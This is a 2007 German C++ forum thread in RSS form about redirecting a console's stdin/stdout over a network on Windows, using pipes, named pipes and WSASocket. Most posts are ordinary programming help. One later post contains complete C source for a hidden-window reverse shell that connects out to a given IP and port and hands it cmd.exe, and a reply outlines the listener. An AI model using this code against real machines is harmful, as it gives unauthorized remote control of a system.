<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Lokale HANDLE´s auch im Netzwerk verwendbar?]]></title><description><![CDATA[<p>Kann man HANDLE´s per Sockets an ein anderen PC senden und diesen da verwenden oder funktioniert ein HANDLE nur lokal?</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/187502/lokale-handle-s-auch-im-netzwerk-verwendbar</link><generator>RSS for Node</generator><lastBuildDate>Fri, 03 Jul 2026 23:51:53 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/187502.rss" rel="self" type="application/rss+xml"/><pubDate>Fri, 20 Jul 2007 10:09:05 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 10:09:05 GMT]]></title><description><![CDATA[<p>Kann man HANDLE´s per Sockets an ein anderen PC senden und diesen da verwenden oder funktioniert ein HANDLE nur lokal?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329121</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329121</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Fri, 20 Jul 2007 10:09:05 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 10:58:37 GMT]]></title><description><![CDATA[<p>Das HANDLE wird vom System verwendet, um ein bestimmtes Objekt zu identifizieren. Das ist nur auf deinem Rechner gültig. Klar kannst du es an einen anderen Rechner übergeben, aber für ihn wird es ungültig sein (er könnte höchstens nachfragen und eine Kopie des zugehörigen Objekts anfordern).</p>
<p>(du kannst ja auch keinen char-Zeiger durch Netz senden und darauf hoffen, daß der Empfänger darüber den zugehörigen String findet)</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329162</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329162</guid><dc:creator><![CDATA[CStoll]]></dc:creator><pubDate>Fri, 20 Jul 2007 10:58:37 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 11:38:25 GMT]]></title><description><![CDATA[<p>Ein HANDLE auf eine Pipe ist ja nur auf einem lokalem System ausführbar, nun möchte ich aber ein HANLDE auf SDTOUT und STDIN einer Konsole übers Netzwerk senden, wie kann man die Daten eines HANDLES nun zum Client versenden damit dieser die verwenden kann?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329202</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329202</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Fri, 20 Jul 2007 11:38:25 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 11:42:09 GMT]]></title><description><![CDATA[<p>Pipes kann man im Netzerk öffnen, da die auch zwischen PCs funktionieren.<br />
Also kannst du stdout/in auf eine pipe setzen, diese dann übers netwerk benutzen.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329204</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329204</guid><dc:creator><![CDATA[Dennis123]]></dc:creator><pubDate>Fri, 20 Jul 2007 11:42:09 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 11:43:35 GMT]]></title><description><![CDATA[<p>stdin und stdout sind auch nur lokal verfügbar - vielleicht solltest du besser deine Ausgaben umleiten auf's Netzwerk, wenn der andere Rechner sie verwenden soll. (in C++ würde ich mir einen network_streambuf bauen und an cout anklinken, unter C dürfte das ein wenig schwieriger werden)</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329205</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329205</guid><dc:creator><![CDATA[CStoll]]></dc:creator><pubDate>Fri, 20 Jul 2007 11:43:35 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 12:04:00 GMT]]></title><description><![CDATA[<blockquote>
<p>in C++ würde ich mir einen network_streambuf bauen und an cout anklinken</p>
</blockquote>
<p>Meinste sowas wie in deinem letzten Thread?</p>
<pre><code class="language-cpp">class split_buf:public streambuf
{
public:
  streambuf *first,*second;
  split_buf(streambuf*f,streambuf*s);
  //alle Ausgabefunktionen schicken die Daten an first UND second
};

ofstream log(&quot;log.txt&quot;);
split_buf buf(cout.rdbuf(),log.rdbuf());
streambuf* oldcout=cout.rdbuf(&amp;buf);
...
cout&lt;&lt;&quot;Hallo&quot;&lt;&lt;endl;
...
//sicher ist sicher - alten Status zurücksetzen
cout.rdbuf(oldcout);
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1329221</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329221</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Fri, 20 Jul 2007 12:04:00 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 13:26:39 GMT]]></title><description><![CDATA[<p>Du kannst HANDLEs garnicht übers Netz versenden und auch nicht rüber-marshallen.<br />
Du kannst nur Daten übers Netz versenden.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329286</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329286</guid><dc:creator><![CDATA[hustbaer]]></dc:creator><pubDate>Fri, 20 Jul 2007 13:26:39 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 13:29:17 GMT]]></title><description><![CDATA[<p>hustbaer schrieb:</p>
<blockquote>
<p>...rüber-marshallen...</p>
</blockquote>
<p>was heisst denn das <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329295</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329295</guid><dc:creator><![CDATA[Undertaker]]></dc:creator><pubDate>Fri, 20 Jul 2007 13:29:17 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 13:32:12 GMT]]></title><description><![CDATA[<p>kernel64 schrieb:</p>
<blockquote>
<blockquote>
<p>in C++ würde ich mir einen network_streambuf bauen und an cout anklinken</p>
</blockquote>
<p>Meinste sowas wie in deinem letzten Thread?</p>
</blockquote>
<p>So in der Art - allerdings war das Ding da für einen anderen Zweck konstuiert.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329300</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329300</guid><dc:creator><![CDATA[CStoll]]></dc:creator><pubDate>Fri, 20 Jul 2007 13:32:12 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 13:37:28 GMT]]></title><description><![CDATA[<blockquote>
<p>in C++ würde ich mir einen network_streambuf bauen und an cout anklinken</p>
</blockquote>
<p>Wie würde die Funktion aussehen?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329306</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329306</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Fri, 20 Jul 2007 13:37:28 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 21:46:16 GMT]]></title><description><![CDATA[<p>Undertaker schrieb:</p>
<blockquote>
<p>hustbaer schrieb:</p>
<blockquote>
<p>...rüber-marshallen...</p>
</blockquote>
<p>was heisst denn das <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
</blockquote>
<p><a href="http://en.wikipedia.org/wiki/Marshalling" rel="nofollow">http://en.wikipedia.org/wiki/Marshalling</a></p>
<p>Die Beschreibung ist nicht besonders gut, aber im Prinzip nicht falsch.</p>
<p>Der Begriff kommt AFAIK aus der COM Welt, und genau daher kenne ich ihn auch.</p>
<p>Im Prinzip geht es darum Daten oder auch Interface-Pointer in einen Byte-Stream zu verpacken (marshal) und irgendwoanders wieder aus dem Byte-Stream zu rekonstuieren (unmarshal).<br />
Der Unterschied zu serialisieren ist dass man damit auch Interface-Pointer &quot;verschicken&quot; kann, und das sogar übers Netzwerk auf andere Computer.<br />
Das Objekt welches das Interface bereitstellt verbleibt dabei wo es ist, und wenn auf dem ge-unmarshal-ten (hihi) Interface-Pointer eine Methode aufgerufen wird, so wird diese z.B. mittels RPC auf dem original Objekt ausgeführt. Das Ergebnis wird dann wieder mittels marshalling zu dem Computer/Prozess übertragen wo der Methodenaufruf initiiert wurde.<br />
Man bekommt also sozusagen ein &quot;live&quot; Interface auf ein Objekt welches ganz woanders lebt.</p>
<p>Würde man den Interface-Pointer einfach nur Byte für Byte übertragen und auf der Gegenseite wieder zusammenbauen würde das natürlich nicht funktionieren.</p>
<p>Für HANDLEs (also die von KERNEL32) gibts es allerdings keinen mir bekannten Weg das hinzubekommen. Muss man sich also selbst was basteln, irgendeine Art Proxy, oder eben (wenn das reicht) einfach einen Socket/eine Pipe verwenden.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329519</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329519</guid><dc:creator><![CDATA[hustbaer]]></dc:creator><pubDate>Fri, 20 Jul 2007 21:46:16 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 22:04:14 GMT]]></title><description><![CDATA[<blockquote>
<p>Muss man sich also selbst was basteln, irgendeine Art Proxy, oder eben (wenn das reicht) einfach einen Socket/eine Pipe verwenden.</p>
</blockquote>
<p>Das war ja schon ganze Zeit meine Idee, nur wie bekommt man die Daten STDOUT/STDIN gesendet es ist ja nur ein HANDLE, man müsste es in ein Datenformat speichern und dann mit send() zum Client senden, dieser müsste dann die STDOUT auf der Konsole anzeigen.</p>
<p>Das beste lauffähige Beispiel welches die STDOUT &amp; STDIN in eine andere Konsole umleitet ist folgendes: <a href="http://support.microsoft.com/kb/190351/en-us" rel="nofollow">http://support.microsoft.com/kb/190351/en-us</a><br />
Die Redirect.c startet den Client Prozess <strong>Child.EXE</strong> (diesen kann man z.B. ändern in <strong>cmd.exe</strong>).<br />
Das Programm funktioniert wunderbar aber nur Lokal !!!<br />
Man müsste zwischen den Prozessen die Pipe unterbrechen durch eine LAN Verbindung mit Sockets doch ist diese Vorgehensweise richtig und wie geht man vor?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329529</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329529</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Fri, 20 Jul 2007 22:04:14 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 22:19:05 GMT]]></title><description><![CDATA[<p>Also willst du im Klartext, dass du auf einem PC Daten schreibst (in einen Stream oder whatever) und die auf dem anderen PC auf der Konsole ausgeführt werden? Oder wie?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329536</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329536</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Fri, 20 Jul 2007 22:19:05 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 22:20:10 GMT]]></title><description><![CDATA[<p>kernel64 schrieb:</p>
<blockquote>
<p>Das Programm funktioniert wunderbar aber nur Lokal !!!<br />
Man müsste zwischen den Prozessen die Pipe unterbrechen durch eine LAN Verbindung mit Sockets doch ist diese Vorgehensweise richtig und wie geht man vor?</p>
</blockquote>
<p>ersetz die pipes durch sogenannte 'named pipes'. selbige sind netzwerkfähig (zumindest in einem windows-LAN).<br />
<img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329539</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329539</guid><dc:creator><![CDATA[Undertaker]]></dc:creator><pubDate>Fri, 20 Jul 2007 22:20:10 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 22:55:52 GMT]]></title><description><![CDATA[<p><a class="plugin-mentions-user plugin-mentions-a" href="https://www.c-plusplus.net/forum/uid/10094">@kernel64</a>: wenn du damit leben kannst dass du einen neuen Prozess startest der eben einfach &quot;umgelenkte&quot; stdin/stdout Handles hat ist das Beispiel ja OK.</p>
<p>Ich weiss nicht ob man diese Pipes direkt auf einen anderen PC verbinden kann, aber ich denke es müsste schon gehen. Falls doch nicht bleibt dir immernoch die Möglichkeit die Pipes im &quot;Mutterprozess&quot; auszulesen und die Daten dann wie-auch-immer (wieder über Pipes oder über Sockets oder ...) an einen anderen PC zu schicken. Dasselbe natürlich auch in der Gegenrichtung.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329555</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329555</guid><dc:creator><![CDATA[hustbaer]]></dc:creator><pubDate>Fri, 20 Jul 2007 22:55:52 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Fri, 20 Jul 2007 23:51:59 GMT]]></title><description><![CDATA[<p>Mein Ziel ist es folgendes Programm im Netzwerk zu starten, es ist nix besonderes nur ein Beispiel:</p>
<pre><code class="language-cpp">void prompt()
{
    cout &lt;&lt; &quot;:&gt;&gt;&quot;;
}
int main ()
{
    string input;

    do{
        prompt();

        getline(cin, input);
        if(input == &quot;exit&quot;)
        {
            return 0;
        }
        else if(input == &quot;dir&quot;)
        {
            system(&quot;dir&quot;);
        }
        //...

    }while(1);

    return 0;
}
</code></pre>
<p>Wie man sieht wird hier die STDOUT und STDIN (getline) verwendet, d.h. man müsste diese per Sockets hin und her schicken.</p>
<blockquote>
<p>ersetz die pipes durch sogenannte 'named pipes'. selbige sind netzwerkfähig (zumindest in einem windows-LAN).</p>
</blockquote>
<p>Das stimmt, aber wie bekomme ich nun Zugriff auf die STDOUT, ich weiß nicht wie diese mit Named Pipes erstelle?</p>
<p>Habe ein Beispiel Code zu Named-Pipes:</p>
<p><strong>Server Pipe:</strong></p>
<pre><code class="language-cpp">/*
 * http://www.codersource.net/win32_createnamedpipe.html
 *
 */

#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#define BUFSIZE 1024
#define PIPE_TIMEOUT 5000

int main()
{

	BOOL fConnected;
	LPTSTR lpszPipename = &quot;\\\\.\\pipe\\SamplePipe&quot;;
	CHAR chRequest[BUFSIZE];
	DWORD cbBytesRead;
	BOOL fSuccess;
	HANDLE hPipe;

	hPipe = CreateNamedPipe ( lpszPipename,
		PIPE_ACCESS_DUPLEX, // read/write access
		PIPE_TYPE_MESSAGE | // message type pipe
		PIPE_READMODE_MESSAGE | // message-read mode
		PIPE_WAIT, // blocking mode
		PIPE_UNLIMITED_INSTANCES, // max. instances
		BUFSIZE, // output buffer size
		BUFSIZE, // input buffer size
		PIPE_TIMEOUT, // client time-out
		NULL); // no security attribute

	if (hPipe == INVALID_HANDLE_VALUE)
		return true;

	for (;;)
	{
		// Trying connectnamedpipe in sample for CreateNamedPipe
		// Wait for the client to connect; if it succeeds,
		// the function returns a nonzero value. If the function returns
		// zero, GetLastError returns ERROR_PIPE_CONNECTED.

		fConnected = ConnectNamedPipe(hPipe, NULL) ?
TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);

		if (fConnected)
		{
			fSuccess = ReadFile (hPipe, // handle to pipe
				chRequest, // buffer to receive data
				BUFSIZE, // size of buffer
				&amp;cbBytesRead, // number of bytes read
				NULL); // not overlapped I/O

			chRequest[cbBytesRead] = '\0';
			printf(&quot;Data Received: %s\n&quot;,chRequest);

			if (! fSuccess || cbBytesRead == 0)
				break;

			//FlushFileBuffers(hPipe);
			//DisconnectNamedPipe(hPipe);
		}
		else
			// The client could not connect in the CreateNamedPipe sample, so close the pipe.
			CloseHandle(hPipe);
	}
	CloseHandle(hPipe);
	return 1;

}

//End of sample using CreateNamedPipe
</code></pre>
<p><strong>Client Pipe:</strong></p>
<pre><code class="language-cpp">/*
 * http://www.codersource.net/win32_named_pipe_client.html
 *
 */

#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string&gt;
#include &lt;iostream&gt;
#define BUFSIZE 1024
#define PIPE_TIMEOUT 5000

using namespace std;

int main()
{
	string input;
	HANDLE hFile;
	BOOL flg;
	DWORD dwWrite;
	char szPipeUpdate[200];
	hFile = CreateFile(&quot;\\\\.\\pipe\\SamplePipe&quot;, GENERIC_WRITE,
		0, NULL, OPEN_EXISTING,
		0, NULL);

	strcpy(szPipeUpdate,&quot;Data from Named Pipe client for createnamedpipe&quot;);
	if(hFile == INVALID_HANDLE_VALUE)
	{
		printf(&quot;CreateFile failed for Named Pipe client\n&quot; );
	}
	else
	{
		for(;;)
		{
			cout &lt;&lt; &quot;Eingabe:&quot;;
			getline(cin,input);
			input += '\0';
			flg = WriteFile(hFile, input.c_str(), input.length(), &amp;dwWrite, NULL);
			if (FALSE == flg)
			{
				printf(&quot;WriteFile failed for Named Pipe client\n&quot;);
			}
			else
			{
				printf(&quot;WriteFile succeeded for Named Pipe client\n&quot;);
			}
		}
		CloseHandle(hFile);
	}

}
</code></pre>
<p>Jetzt habe ich ein Beispiel zu Named Pipes, doch wie bekommt man nun den Zugriff auf die einzelnen STDOUT/-IN `?</p>
<p>Den Socket Teil mit der Netzwerkprogrammierung kriege ich schon hin, nur ich weiß nicht wie hier weiter anfangen soll, einfach die STDOUT des Programms zum Client senden und diese dann dort darstellen.</p>
<p>Bitte um Hilfe.</p>
<p>[EDIT]<br />
Im folgendem Link steht einiges über Pipes:<br />
<a href="http://www.nt.fh-koeln.de/fachgebiete/inf/diplom/proc_sync/3/3.7.html" rel="nofollow">http://www.nt.fh-koeln.de/fachgebiete/inf/diplom/proc_sync/3/3.7.html</a></p>
<p>Hier eine Erklärung aus dem Inhalt:</p>
<blockquote>
<p>Soll ein Kind-Prozess die Handles einer unbenannten Pipe erben so benötigt man eine SECURITY_ATTRIBUTES-Struktur, da der Standard Sicherheitsdeskriptor eine Vererbung der Pipe-Handles nicht zuläßt.</p>
<p>Beispiel für die Verwendung einer SECURITY_ATTRIBUTES-Struktur damit die Pipe-Handles vererbt werden können:</p>
<p>SECURITY ATTRIBUTES sec;<br />
sec.nLength = sizeof( SECURITY ATTRIBUTES );<br />
sec.lpSecurityDescriptor = NULL;<br />
sec.bInheritHandle = TRUE;<br />
CreatePipe ( &amp;hRead, &amp;hWrite, &amp;sec, 0 );</p>
</blockquote>
<p>Wie wendet man das mit Named Pipes an?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329562</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329562</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Fri, 20 Jul 2007 23:51:59 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Sat, 21 Jul 2007 15:51:13 GMT]]></title><description><![CDATA[<p>wenns es nur darum geht, eine Konsole sprich stdin und stdout über das Netzwerk zu kontrollieren, geht das in Windows auch ohne Pipes. Normale sockets lassen sich dazu direkt verwenden.</p>
<p>1. einen Socket mit WSASocket erzeugen (nicht mit socket!)<br />
2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen<br />
3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen</p>
<p>den Rest erledigt Windows, per Hand kannst du das wie schon erwähnt über Pipes oder auch per Sockets machen</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329860</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329860</guid><dc:creator><![CDATA[ScriptGod]]></dc:creator><pubDate>Sat, 21 Jul 2007 15:51:13 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Sat, 21 Jul 2007 15:54:33 GMT]]></title><description><![CDATA[<blockquote>
<p>einen Socket mit WSASocket erzeugen (<strong>nicht mit socket</strong>!)</p>
</blockquote>
<p>Warum?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329865</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329865</guid><dc:creator><![CDATA[????????]]></dc:creator><pubDate>Sat, 21 Jul 2007 15:54:33 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Sat, 21 Jul 2007 15:59:07 GMT]]></title><description><![CDATA[<p>Womöglich wird er sonst von windows nicht als HANDLE anerkannt oder etwas in der art.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329873</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329873</guid><dc:creator><![CDATA[Dennis123]]></dc:creator><pubDate>Sat, 21 Jul 2007 15:59:07 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Sat, 21 Jul 2007 16:26:10 GMT]]></title><description><![CDATA[<p>frag Microsoft <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /><br />
im Kernel werden Sockest, die mit socket erzeugt wurden und solche, die über WSASocket erzeugt wurden, anderst behandelt - sprich WSASockets können auch über die Standard-Datei funktionen ReadFile und WriteFile genutzt werden, sockets nicht.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329886</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329886</guid><dc:creator><![CDATA[ScriptGod]]></dc:creator><pubDate>Sat, 21 Jul 2007 16:26:10 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Sat, 21 Jul 2007 16:48:23 GMT]]></title><description><![CDATA[<p>Ah danke. Ich glaube es liegt daran das die Funktion 'socket' den Socket mit WSA_FLAG_OVERLAPPED erstellt und so funktionieren wahrscheinlich nur Overlapped ReadFile aufrufe.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1329897</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1329897</guid><dc:creator><![CDATA[????????]]></dc:creator><pubDate>Sat, 21 Jul 2007 16:48:23 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Mon, 23 Jul 2007 08:37:06 GMT]]></title><description><![CDATA[<blockquote>
<p>wenns es nur darum geht, eine Konsole sprich stdin und stdout über das Netzwerk zu kontrollieren, geht das in Windows auch ohne Pipes. Normale sockets lassen sich dazu direkt verwenden.</p>
<p>1. einen Socket mit WSASocket erzeugen (nicht mit socket!)<br />
2. WSAConnect bzw. WSAAceppt um einen Verbindung zu bekommen<br />
3. diesen Socket dann bei CreateProcess als StdHandle(s) angeben and bInheritHandles auf TRUE setzen</p>
</blockquote>
<p>Danke, habe einiges zum Thema WSASocket bei google gesucht und etwas gefunden was ich schon die ganze Zeit suche. Es handelt sich nicht um <strong>Remote Shell</strong> sondern <strong>Reverse Shell</strong>(kennt jemand den Unterschied?)</p>
<p>Habe hier ein Beispiel Code einer Reverse Shell die cmd startet:</p>
<pre><code class="language-cpp">#include &lt;winsock2.h&gt;
#include &lt;stdio.h&gt;
#include &lt;winsock.h&gt;
#include &lt;stdlib.h&gt;

#define RCVBUFSIZE 32

void main(int argc,char *argv[])
{
	//Declaring the vars
    int sock;
    struct sockaddr_in cbAddr;
    unsigned short cbPort;
    char *cbIp;
    WSADATA wsaData;
	STARTUPINFO si;
	PROCESS_INFORMATION pi={0};
	char comspec[MAX_PATH];

//parsing arguments to the corresponding vars.
	cbIp = argv[1];
	cbPort = atoi(argv[2]);

//starting up wsa
    if (WSAStartup(MAKEWORD(2, 0), &amp;wsaData) != 0)
    {
        printf(&quot;WSAStartup() failed&quot;);
        exit(1);
    }
//Make shure it's WSASocket()
    if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0)) &lt; 0)
	{
        printf(&quot;Socket Failed\n&quot;);
		WSACleanup();
		exit(1);
	}

//filling the struct
    memset(&amp;cbAddr, 0, sizeof(cbAddr));
    cbAddr.sin_family      = AF_INET;
    cbAddr.sin_addr.s_addr = inet_addr(cbIp);
    cbAddr.sin_port        = htons(cbPort);

	// Establish the connection to the echo server
    if (connect(sock, (struct sockaddr *) &amp;cbAddr, sizeof(cbAddr)) &lt; 0)
	{
        printf(&quot;connect() failed\n&quot;);
		closesocket(sock);
		WSACleanup();
		exit(1);
	}
//Setting up the startupinfo etc to make shure cmd get's a both way traffic
		memset(&amp;si,0,sizeof(si));
		GetStartupInfo(&amp;si);
		si.cb = sizeof(si);
		si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
		si.wShowWindow = SW_HIDE;
		si.hStdInput = (HANDLE)sock;
		si.hStdOutput = (HANDLE)sock;
		si.hStdError =(HANDLE)sock;
//getting cmd.exe a bit more fancier then hardcoding it.
		if(GetEnvironmentVariable(&quot;COMSPEC&quot;, comspec, MAX_PATH) == 0)
		{
			printf(&quot;Environment var failed\n&quot;);
			closesocket(sock);
			exit(1);
		}
		if(!CreateProcess(NULL,comspec, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, 0, NULL, &amp;si, &amp;pi)) //CREATE_NO_WINDOW
		{
			printf(&quot;process creation failed\n&quot;);
			closesocket(sock);
			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);
		}

		WaitForSingleObject(pi.hProcess, INFINITE);
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
		closesocket(sock);
}
</code></pre>
<p>Wie funktioniert nun der Code also die STDIN/-OUT über Sockets könnt ihr mir bitte was dazu sagen.</p>
<p>Wie sieht nun ein Client aus der mit der Reverse Shell kommunizieren kann?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1330602</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1330602</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Mon, 23 Jul 2007 08:37:06 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Mon, 23 Jul 2007 17:50:24 GMT]]></title><description><![CDATA[<p>imho heißt das Reverse Shell da der Rechner, der die Shell bereitstellt, auf den Recher, der kontrolliert, connected - anderst herum bind shell. Wobei die Begriffe wohl eher bei exploits etc. gebräuchlich sind.</p>
<p>Für den Client brauchst du eigentlich einen klassichen Server <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /><br />
1. socket erzeugen<br />
2. bind<br />
3. accept<br />
4. go</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1331032</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1331032</guid><dc:creator><![CDATA[ScriptGod]]></dc:creator><pubDate>Mon, 23 Jul 2007 17:50:24 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Mon, 23 Jul 2007 19:12:11 GMT]]></title><description><![CDATA[<p>So wirklich habe ich den Unterschied zwischen einer Reverse- Remote Shell nicht verstanden, vielleicht kann mir jemand es nochmal erklären.</p>
<p>Ich habe folgendes vor:</p>
<p>- Der Server läuft die ganze Zeit und wartet auf einen Client.<br />
- Der Client verbindet sich mit dem Server, welcher dann die Authentifizierung startet<br />
- Die STDOUT von der Shell wird zum Client übermittelt<br />
- Der Client kann nun Befehle in der Konsole eingeben welche per STDIN zum Server übergeben werden.</p>
<p>Würde der Code oben nun als so ein Server funktionieren?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1331095</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1331095</guid><dc:creator><![CDATA[kernel64]]></dc:creator><pubDate>Mon, 23 Jul 2007 19:12:11 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Mon, 23 Jul 2007 19:33:36 GMT]]></title><description><![CDATA[<p>kernel64 schrieb:</p>
<blockquote>
<p>So wirklich habe ich den Unterschied zwischen einer Reverse- Remote Shell nicht verstanden, vielleicht kann mir jemand es nochmal erklären.</p>
</blockquote>
<p>Wenn ich ScriptGod richtig verstanden habe, besteht der Unterschied darin, wer die Verbindung eröffnet. Bei der Reverse-Shell verbindet sich der Shell-Rechner zu dem anderen, bei der Remote-Shell verbindet sich der andere zum Rechner, wo die Shell-Befehle ausgeführt werden soll.</p>
